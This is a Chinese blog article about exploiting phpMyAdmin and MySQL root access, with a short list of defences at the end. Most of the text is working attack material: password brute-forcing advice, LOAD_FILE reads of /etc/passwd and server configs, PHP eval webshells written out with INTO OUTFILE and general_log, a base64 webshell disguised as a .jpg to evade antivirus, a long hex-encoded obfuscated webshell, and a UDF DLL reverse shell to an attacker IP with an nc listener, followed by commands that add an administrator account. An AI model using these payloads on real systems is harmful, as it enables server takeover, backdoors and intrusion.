1. 程式人生 > >phpMyAdmin漏洞利用與安全防範

phpMyAdmin漏洞利用與安全防範

phpMyAdmin漏洞利用與安全防範

  simeon

Freebuf最近刊發了一篇文章《下一個獵殺目標:近期大量MySQL資料庫遭勒索攻擊》,連結地址http://www.freebuf.com/news/127945.html,筆者在對phpMyAdmin漏洞進行研究時發現國內的一些資料庫中已經存在資料庫病毒,甚至勒索資訊,這些病毒的一個表現就是會在mysql的user表中建立隨機名字的表,表內容為二進位制檔案,有的是可執行檔案,有的會在windows系統目下生成大量的vbs檔案,感染系統檔案或者傳播病毒。在zoomeye中搜索關鍵字phpmyadmin,我國位居第二,如下圖所示。很多公司和個人都喜歡使用phpMyAdmin來管理MySQL資料庫,phpMyAdmin功能非常強大,可以執行命令,匯入或者匯出資料庫,可以說通過phpMyAdmin可以完全操控Mysql資料庫,但是,如果存在設定的Root密碼過於簡單,程式碼洩露Mysql配置等漏洞,通過一些技術手段,99%都能獲取網站webshell,有的甚至是伺服器許可權,phpMyAdmin在一些流行架構中大量使用,例如phpStudy、phpnow、Wammp、Lamp、Xamp等,這些架構的預設密碼為root,如果未修改密碼,極易被滲透,本文對phpMyadmin漏洞的各種利用方法和思路進行探討,最後給出了一些安全防範方法,希望能對使用phpmyadmin的朋友有所幫助。

圖1我國大量使用phpmyadmin

1.1Mysql root帳號密碼獲取思路

1. 1.1原始碼洩露

在有的CMS系統中,對config.inc.php以及config.php等資料庫配置檔案進行編輯時,有可能直接生成bak檔案,這些檔案可以直接讀取和下載。很多使用phpmyadmin的網站往往存在目錄洩露,通過目錄資訊洩露,可以下載原始碼等打包檔案,在這些打包檔案或者程式碼洩露可以獲取網站原始碼中的資料庫配置檔案,從而獲取root帳號和密碼。建議從rar、tar.gz檔案中搜索關鍵字config、db等。

1.1.2暴力破解

經過實踐研究可以通過burpsuit等工具對phpmyadmin的密碼實施暴力破解,甚至可以通過不同的字典對單個IP或者多個URL進行暴力破解,有關這個技術的實現細節和案例,請參考專題文章《暴力破解phpMyAdmin root帳號密碼》。使用phpMyadmin暴力破解工具,收集常見的top 100password即可,其中可以新增root、cdlinux密碼,使用者名稱以admin和root為主。

 1.1.3其它方式獲取

例如通過社工郵件帳號,在郵件中會儲存。

1.2獲取網站的真實路徑思路

1.2.1phpinfo函式獲取法

最直接獲取網站真實路勁的是通過phpinfo.php也即phpinfo()函式,在其頁面中會顯示網站的真實物理路徑。phpinfo函式常見頁面檔案有phpinfo.php、t.php、tz.php、1.php test.php、info.php等。

1.2.2出錯頁面獲取法

通過頁面出錯來獲取。有些程式碼檔案直接訪問時會報錯,其中會包含真實的物理路徑。thinkphp架構訪問頁面一般都會報錯,通過構造不存在的頁面,或者存在目錄資訊洩露的逐個訪問程式碼檔案通過出錯獲取真實路徑。

1.2.3 load_file函式讀取網站配置檔案

通過mysql load_file函式讀取配置檔案。/etc/passwd檔案會提示網站的真實路徑,然後通過讀取網站預設的index.php等檔案來判斷是否是網站的真實目錄和檔案。其中讀取非常有用的配置檔案總結如下:

   SELECT LOAD_FILE('/etc/passwd' )

   SELECT LOAD_FILE('/etc/passwd' )

   SELECT LOAD_FILE('/etc/issues' )

   SELECT LOAD_FILE('/etc/etc/rc.local' )

   SELECT LOAD_FILE('/usr/local/apache/conf/httpd.conf' )

   SELECT LOAD_FILE('/etc/nginx/nginx.conf' )

SELECT LOAD_FILE(  'C:/phpstudy/Apache/conf/vhosts.conf' )

select load_file('c:/xampp/apache/conf/httpd.conf');

select load_file('d:/xampp/apache/conf/httpd.conf');

select load_file('e:/xampp/apache/conf/httpd.conf');

select load_file('f:/xampp/apache/conf/httpd.conf');

1.2.4檢視資料庫表內容獲取

在一些CMS系統中,有些會儲存網站配置檔案,或者網站真實路徑地址,通過phpmyadmin進入資料庫檢視各配置庫表以及儲存有檔案地址的表即可獲取。

1.2.5進入後臺檢視

   有些系統會在後臺生成網站執行基本情況,這些基本情況會包含網站的真實路徑,也有一些是執行phpinfo函式。

1.2.6百度搜索出錯資訊

   通過百度搜索引擎、zoomeye.org、shadon等搜尋關鍵字error、waring等,通過快照或者訪問頁面來獲取。例如:

site:antian365.com error

site:antian365.com warning

1.3Mysql root賬號webshell獲取思路

    Mysql Root賬號通過phpMyAdmin獲取webshell的思路,主要有下面幾種方式,以第一二六種方法較佳,其它可以根據實際情況來進行。

1.3.1直接讀取後門檔案

通過程式報錯、phpinfo函式、程式配置表等直接獲取網站真實路徑,有些網站前期已經被人滲透過,因此在目錄下留有後門檔案通過load_file直接讀取。

1.3.2直接匯出一句話後門

前提需要知道網站的真實物理路徑,例如網站真實路徑D:\work\WWW,則可以通過執行以下查詢,來獲取一句話後門檔案antian365.php,訪問地址http://www.somesite.com/ antian365.php

select '<?php @eval($_POST[antian365]);?>'INTO OUTFILE 'D:/work/WWW/antian365.php'

1.3.3建立資料庫匯出一句話後門

   在查詢視窗直接執行以下程式碼即可,跟1.3.2原理類似。

CREATE TABLE `mysql`.`antian365` (`temp` TEXT NOTNULL );

INSERT INTO `mysql`.`antian365` (`temp` ) VALUES('<?php @eval($_POST[antian365]);?>');

SELECT `temp` FROM `antian365` INTO OUTFILE'D:/www/antian365.php';

DROP TABLE IF EXISTS `antian365`;

1.3.4可執行命令方式

    建立執行命令形式的shell,但前提是對方未關閉系統函式。該方法匯出成功後可以直接執行DOS命令使用方法:www.xxx.com/ antian365.php?cmd=(cmd=後面直接執行dos命令)

select '<?php echo \'<pre>\';system($_GET[\'cmd\']); echo \'</pre>\'; ?>' INTO OUTFILE 'd:/www/antian365.php'

1.3.5過防毒軟體方式

通過後臺或者存在上傳圖片的地方,上傳圖片publicguide.jpg,內容如下:

<?php $a=' PD9waHAgQGV2YWwoJF9QT1NUWydhbnRpYW4zNjUnXSk7ZGllKCk7Pz4=';error_reporting(0);@set_time_limit(0);eval("?>".base64_decode($a));?>

然後通過圖片包含temp.php,匯出webshell。

select '<?php include 'publicguide.jpg' ?>' INTO OUTFILE  'D:/work/WWW/antian365.php'

一句話後門密碼:antian365

1.3.6直接匯出加密webshell

一句話後門檔案密碼:pp64mqa2x1rnw68,執行以下查詢直接匯出加密webshell,D:/WEB/IPTEST/22.php,注意在實際過程需要修改D:/WEB/IPTEST/22.php。

select unhex('203C3F7068700D0A24784E203D2024784E2E737562737472282269796234327374725F72656C6750383034222C352C36293B0D0A246C766367203D207374725F73706C697428226D756B3961773238776C746371222C36293B0D0A24784E203D2024784E2E73756273747228226C396364706C616365704172424539646B222C342C35293B0D0A246A6C203D2073747269706F732822657078776B6C3766363674666B74222C226A6C22293B0D0A2474203D2024742E737562737472282274514756325957774A63567534222C312C36293B0D0A2465696137203D207472696D28226A386C32776D6C34367265656E22293B0D0A2462203D2024622E73756273747228226B6261736536346B424474394C366E6D222C312C36293B0D0A246967203D207472696D28226233397730676E756C6922293B0D0A2479203D2024792E24784E28227259222C22222C22637259726572596122293B0D0A24797531203D207374725F73706C697428226269316238376D3861306F3678222C32293B0D0A2474203D2024742E24784E282278413678222C22222C2277784136786F4A463922293B0D0A246E64203D2073747269706F7328226E363574383872786E303265646A336630222C226E6422293B0D0A2462203D2024622E24784E282277493339222C22222C225F774933396477493339656322293B0D0A2468387073203D207374725F73706C697428226B6E396A3968346D6877676633666A6970222C33293B0D0A2479203D2024792E7375627374722822687974655F66756E775669535645344A222C322C36293B0D0A24796637203D207374726C656E282275656875343967367467356B6F22293B0D0A2474203D2024742E24784E28226670222C22222C22516670546670314E667022293B0D0A246D39203D207374726C656E282265756C363034636F626B22293B0D0A2462203D2024622E73756273747228226C3057316F64656C413165536E454A222C342C33293B0D0A2468306277203D207472696D28226E33653568306371746F6B76676F6238747822293B0D0A2479203D2024792E24784E28227962222C22222C2263796274696F22293B0D0A24733761203D20727472696D2822617565627963396734743564386B22293B0D0A2474203D2024742E7375627374722822624D73306E4268383355577964222C392C34293B0D0A2464353971203D2073747269706F732822636A7675636B6F79357766336F746561222C226435397122293B0D0A2479203D2024792E73756273747228226E4439487851534C386E6752222C392C31293B0D0A246C31203D207374725F73706C697428226167717130396762716E31222C34293B0D0A2474203D2024742E24784E282277366F34222C22222C2277634477366F345977366F343022293B0D0A247079203D2073747269706F7328226C677938687472727631746333222C22707922293B0D0A2474203D2024742E24784E282265503332222C22222C22625846655033326822293B0D0A2478703364203D2073747269706F732822756B6C306E626E7839677433222C227870336422293B0D0A2474203D2024742E7375627374722822696B4A3030484A4D6E677863222C372C35293B0D0A2464743262203D207374726C656E282265346135616275616A7733766C6369726122293B0D0A2474203D2024742E737562737472282263644E314B78656D35334E776D456838364253222C372C34293B0D0A2475626A203D207374726C656E28227767686A6E6674326F70356B7831633038367422293B0D0A2474203D2024742E73756273747228226D34616F7864756A676E58536B63784C344657635964222C372C36293B0D0A247178203D207374726C656E2822726C71666B6B6674726F3867666B6F37796122293B0D0A2474203D2024742E7375627374722822723779222C312C31293B0D0A246D75203D20727472696D28226E676478777578357671653122293B0D0A246A203D2024792822222C20246228247429293B0D0A24626E6C70203D207374726C656E28227675667930616B316679617622293B0D0A24736468203D207374725F73706C69742822776D6E6A766733633770306D222C34293B0D0A246D62203D206C7472696D28226E353270317067616570656F6B6622293B0D0A2465307077203D20727472696D28227575346D686770356339706E613465677122293B0D0A24756768203D207472696D282272637064336F3977393974696F3922293B0D0A246772636B203D207374726C656E2822783572697835627031786B793722293B0D0A24656F3674203D207374726C656E282264646931683134656375797563376422293B246A28293B0D0A2464766E71203D207374725F73706C6974282270726D36676968613176726F333630346175222C38293B0D0A24756738203D20727472696D28226563387735327375706234767538656F22293B0D0A24726374203D2073747269706F73282268786536776F37657764386D65376474222C2272637422293B0D0A24656B7166203D207374725F73706C69742822707266357930386538666C6666773032356A38222C38293B0D0A24767972203D207374725F73706C69742822756D706A63737266673668356E64366F3435222C39293B0D0A24777266203D20727472696D282266797839396F3739333868377567716822293B0D0A24713134203D207374726C656E2822746334366F73786C3173743169633222293B0D0A66756E6374696F6E206F2820297B2020207D3B0D0A24757366203D207374726C656E2822666C7463707862377466626A736D7422293B0D0A3F3E') into dumpfile 'D:/WEB/IPTEST/22.php'

1.3.7CMS系統獲取webshell

有些情況下無法獲取網站的真實路徑,則意味著無法直接匯出一句話webshell,可以通過CMS系統管理賬號登入系統後,尋找漏洞來突破,例如dedecms則可以通過破解管理員賬號後直接上傳檔案來獲取webshell。Discuz!的UC_key可以直接獲取webshell。甚至某些系統可以直接上傳php檔案。下面是一些CMS系統滲透的技巧:

(1)dedecms系統的密碼有直接md5,也有20位的密碼,如果是20位的密碼則需要去掉密碼中的前3位和最後1位,然後對剩餘的值進行md5解密即可;

(2)phpcms v9版本的密碼需要加salt進行破解,需要選擇破解演算法md5(md5($pass).$salt)進行破解。

(3)Discuz!論壇帳號儲存在ucenter_members(Discuz7.X及以上版本)或者cdb_members(discuz6.x版本)表中,其破解需要帶salt進行,其破解時是使用password:salt進行,例如a0513df9929afc972f024fa4e586e829:399793。

1.3.8通過general_log_file來獲取webshell

(1)檢視genera檔案配置情況

show global variables like "%genera%";

(2)關閉general_log

set global general_log=off;

(3)通過general_log選項來獲取webshell

set global general_log='on';

SET global general_log_file='D:/phpStudy/WWW/cmd.php';

SELECT '<?php assert($_POST["cmd"]);?>';

1.4無法通過phpmyadmin直接獲取webshell

前面的方法試過,仍然無法獲取webshell,則可以採取以下方法和思路。

1.4.1連線mysql

直接通過mysql程式連線:mysql.exe -h ip -uroot -p

通過phpmyadmin連線

通過Navicat for MySQL連線

1.4.2檢視資料庫版本和資料路徑

SELECT VERSION( );

Select @@datadir;

5.1以下版本,將dll匯入到c:/windows或者c:/windows/system32/

5.1以上版本 通過以下查詢來獲取外掛路徑:

SHOW VARIABLES WHERE Variable_Name LIKE "%dir";

show variables like '%plugins%' ;

select load_file('C:/phpStudy/Apache/conf/httpd.conf')

select load_file('C:/phpStudy/Apache/conf/vhosts.conf')

select load_file('C:/phpStudy/Apache/conf/extra/vhosts.conf')

select load_file('C:/phpStudy/Apache/conf/extra/httpd.conf')

select load_file('d:/phpStudy/Apache/conf/vhosts.conf')

1.4.3直接匯出udf檔案為mysqldll

1.先執行匯入ghost表中的內容

修改以下程式碼的末尾程式碼  select backshell("YourIP",4444);

2.匯出檔案到某個目錄

select data from Ghost into dumpfile 'c:/windows/mysqldll.dll';

select data from Ghost into dumpfile 'c:/windows/system32/mysqldll';

select data from Ghost into dumpfile 'c:/phpStudy/MySQL/lib/plugin/mysqldll';

select data from Ghost into dumpfile 'E:/PHPnow-1.5.6/MySQL-5.0.90/lib/plugin/mysqldll';

select data from Ghost into dumpfile 'C:/websoft/MySQL/MySQL Server 5.5/lib/plugin/mysqldll.dll'

select data from Ghost into dumpfile 'D:/phpStudy/MySQL/lib/plugin/mysqldll.dll';

3.檢視FUNCTION中是否存在cmdshell和backshell,存在則刪除:

drop FUNCTION cmdshell;//刪除cmdshell

drop FUNCTION backshell;//刪除backshell

4.建立backshell

CREATE FUNCTION backshell RETURNS STRING SONAME 'mysqldll.dll'; //建立backshell

5.在具備獨立主機的伺服器上執行監聽

nc -vv -l -p 44444

6.執行查詢

select backshell("192.192.192.1",44444);//修改192.192.192.1為你的IP和埠

7.獲取webshell後新增使用者命令

注意如果不能直接執行,則需要到c:\windows\system32\下執行

net user antian365 Www.Antian365.Com /add

net localgroup administrators antian365

1.5phpMyAdmin漏洞防範方法

1.使用phpinfo來檢視環境變數後,儘量在用後及時將其刪除,避免洩露真實路徑。

2.使用Lamp架構安裝時,需要修改其預設root帳號對應的弱口令密碼root。以及admin/wdlinux.cn。

3.LAMP集成了proftpd,預設使用者是nobody,密碼是lamp,安裝完成後也需要修改。

4.如果不是經常使用或者必須使用phpMyadmin,則在安裝完成後可刪除。

5.嚴格目錄寫許可權,除檔案上傳目錄允許寫許可權外,其它檔案及其目錄在完成配置後將其禁止寫許可權,並在上傳目錄去掉執行許可權。

6.部署系統執行後,上傳無關檔案,不在網站進行原始碼打包,以及匯出資料庫檔案,即使要打包備份,也使用強密碼加密

7.設定root口令為強口令,字母大小寫+特殊字元+數字,15位以上,增加破解的難度。

8.不在網站資料庫連線配置檔案中配置root賬號,而是單獨建立一個數據庫使用者,給予最低許可權即可,各個CMS的資料庫和系統相對獨立。

9.定期檢查Mysql資料庫中的user表是否存在host為“%”的情況,plugin中是否存在不是自定義的函式,禁用plugin目錄寫入許可權。

更多攻防內容請歡迎訪問本人在csdn上面創造的個人專欄:
密碼安全攻防技術精講》:https://gitbook.cn/gitchat/column/5afbf24f753289354cab7983